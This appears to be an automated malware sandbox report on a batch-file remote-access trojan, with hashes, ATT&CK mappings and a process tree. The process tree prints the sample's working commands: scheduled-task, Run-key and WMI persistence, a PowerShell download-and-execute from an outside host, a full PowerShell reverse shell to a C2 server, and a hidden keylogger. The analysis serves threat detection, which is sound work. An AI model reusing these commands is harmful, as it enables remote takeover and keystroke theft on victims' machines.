e2891f402aaa078143a2dab28687ee09d07f8d4e020f5dc7584570f53884956d

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:25

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General

Target
rat_build_40620_014204.bat
Size 4KB
Sample260529-2b2jpsds8k
SHA256 e2891f402aaa078143a2dab28687ee09d07f8d4e020f5dc7584570f53884956d
MD5 e6bba386d56afa45e8f088dfec070c95
SHA1 51c964670ef62707826d4674d0591cbf8d163c5a
SHA512 b76121ebd3a36b8f24b46d4cb51a6b8b0d0c27b0fcf02adf89b8618d18aa970dfd847c9a4ee88301d36a89ba4c958bfdcfab1720d2eadd10435b5d558080b3e9
SSDEEP 96:0I8CW+ih3b7tpHFaQE19V9QIrBsCUwlbOLIaTulouVgEOaPciFgZk8mvlo17r:0t+ih3bDHEQkQyTOLIaTDuV1LciFgkH8
TLSH
T17BA1083393967120AAB03918DE723C645B2CD6FB1385CA8EEA8C8DC4075CF4790385EB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_40620.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3616	powershell.exe
4068	powershell.exe
516	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_40620 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_40620.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4864	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1492	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
4900	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4076	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3616	powershell.exe
3616	powershell.exe
4068	powershell.exe
4068	powershell.exe
516	powershell.exe
516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4888	WMIC.exe
Token: SeSecurityPrivilege	4888	WMIC.exe
Token: SeTakeOwnershipPrivilege	4888	WMIC.exe
Token: SeLoadDriverPrivilege	4888	WMIC.exe
Token: SeSystemProfilePrivilege	4888	WMIC.exe
Token: SeSystemtimePrivilege	4888	WMIC.exe
Token: SeProfSingleProcessPrivilege	4888	WMIC.exe
Token: SeIncBasePriorityPrivilege	4888	WMIC.exe
Token: SeCreatePagefilePrivilege	4888	WMIC.exe
Token: SeBackupPrivilege	4888	WMIC.exe
Token: SeRestorePrivilege	4888	WMIC.exe
Token: SeShutdownPrivilege	4888	WMIC.exe
Token: SeDebugPrivilege	4888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4888	WMIC.exe
Token: SeRemoteShutdownPrivilege	4888	WMIC.exe
Token: SeUndockPrivilege	4888	WMIC.exe
Token: SeManageVolumePrivilege	4888	WMIC.exe
Token: 33	4888	WMIC.exe
Token: 34	4888	WMIC.exe
Token: 35	4888	WMIC.exe
Token: 36	4888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4888	WMIC.exe
Token: SeSecurityPrivilege	4888	WMIC.exe
Token: SeTakeOwnershipPrivilege	4888	WMIC.exe
Token: SeLoadDriverPrivilege	4888	WMIC.exe
Token: SeSystemProfilePrivilege	4888	WMIC.exe
Token: SeSystemtimePrivilege	4888	WMIC.exe
Token: SeProfSingleProcessPrivilege	4888	WMIC.exe
Token: SeIncBasePriorityPrivilege	4888	WMIC.exe
Token: SeCreatePagefilePrivilege	4888	WMIC.exe
Token: SeBackupPrivilege	4888	WMIC.exe
Token: SeRestorePrivilege	4888	WMIC.exe
Token: SeShutdownPrivilege	4888	WMIC.exe
Token: SeDebugPrivilege	4888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4888	WMIC.exe
Token: SeRemoteShutdownPrivilege	4888	WMIC.exe
Token: SeUndockPrivilege	4888	WMIC.exe
Token: SeManageVolumePrivilege	4888	WMIC.exe
Token: 33	4888	WMIC.exe
Token: 34	4888	WMIC.exe
Token: 35	4888	WMIC.exe
Token: 36	4888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1244	WMIC.exe
Token: SeSecurityPrivilege	1244	WMIC.exe
Token: SeTakeOwnershipPrivilege	1244	WMIC.exe
Token: SeLoadDriverPrivilege	1244	WMIC.exe
Token: SeSystemProfilePrivilege	1244	WMIC.exe
Token: SeSystemtimePrivilege	1244	WMIC.exe
Token: SeProfSingleProcessPrivilege	1244	WMIC.exe
Token: SeIncBasePriorityPrivilege	1244	WMIC.exe
Token: SeCreatePagefilePrivilege	1244	WMIC.exe
Token: SeBackupPrivilege	1244	WMIC.exe
Token: SeRestorePrivilege	1244	WMIC.exe
Token: SeShutdownPrivilege	1244	WMIC.exe
Token: SeDebugPrivilege	1244	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1244	WMIC.exe
Token: SeRemoteShutdownPrivilege	1244	WMIC.exe
Token: SeUndockPrivilege	1244	WMIC.exe
Token: SeManageVolumePrivilege	1244	WMIC.exe
Token: 33	1244	WMIC.exe
Token: 34	1244	WMIC.exe
Token: 35	1244	WMIC.exe
Token: 36	1244	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1244	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2124 wrote to memory of 4076	2124	cmd.exe	88
PID 2124 wrote to memory of 4900	2124	cmd.exe	89
PID 2124 wrote to memory of 4888	2124	cmd.exe	90
PID 2124 wrote to memory of 1244	2124	cmd.exe	91
PID 2124 wrote to memory of 4364	2124	cmd.exe	92
PID 2124 wrote to memory of 1492	2124	cmd.exe	94
PID 2124 wrote to memory of 4864	2124	cmd.exe	100
PID 2124 wrote to memory of 3616	2124	cmd.exe	101
PID 2124 wrote to memory of 4068	2124	cmd.exe	102
PID 2124 wrote to memory of 516	2124	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_40620_014204.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2124
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_40620" /tr "C:\Users\Admin\AppData\Local\Temp\_40620.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4076
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_40620" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_40620.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:4900
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_40620", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4888
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_40620", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_40620.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1244
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_40620.txt
  2⤵
  PID:4364
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:1492
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_40620.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:516

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dd1dd1b9fb6d880a40a1b2cac1a9f6266052fcd8006a9c50cd3556020ff71a25
MD5 0068bf4c368307d8e778c5f5b9323bec
SHA1 2f9308e233b9f41c6aade2627bd2a189b0f2bdb1
SHA512 d72c9d4d7dc6a4b338fb3d70e1aa7c96bfdc6cf77a08c9df33b9584e27a81230d80c6235880434a52da0bd3062a5236c5733fa0208830f12d147da8d06f6b89f
TLSH
T108117627F39CC921CC96153A409DAD1172B687DB81AEDF9F6FC4D214A07F984CB712A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8c54d4148a9e2a3b524f471f99aa3d48778239ae494908b544ef8f014d7d0eee
MD5 5ed3bd9bc72e312aadc7571ad8786379
SHA1 c6cc90bf1250e7ec5cd7680a9689940cec6398da
SHA512 d020f76b71142f58c990f62354c568d9cee901a2e808d11d4e6d439aa3ffc36f070d613e3bd9522aaa1d44d3288c91c89fcf911600fdad9e96d3900c12941c47
TLSH
T18E115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_g45obaoh.ics.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g45obaoh.ics.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3616-3-0x000001593F1B0000-0x000001593F1D2000-memory.dmp

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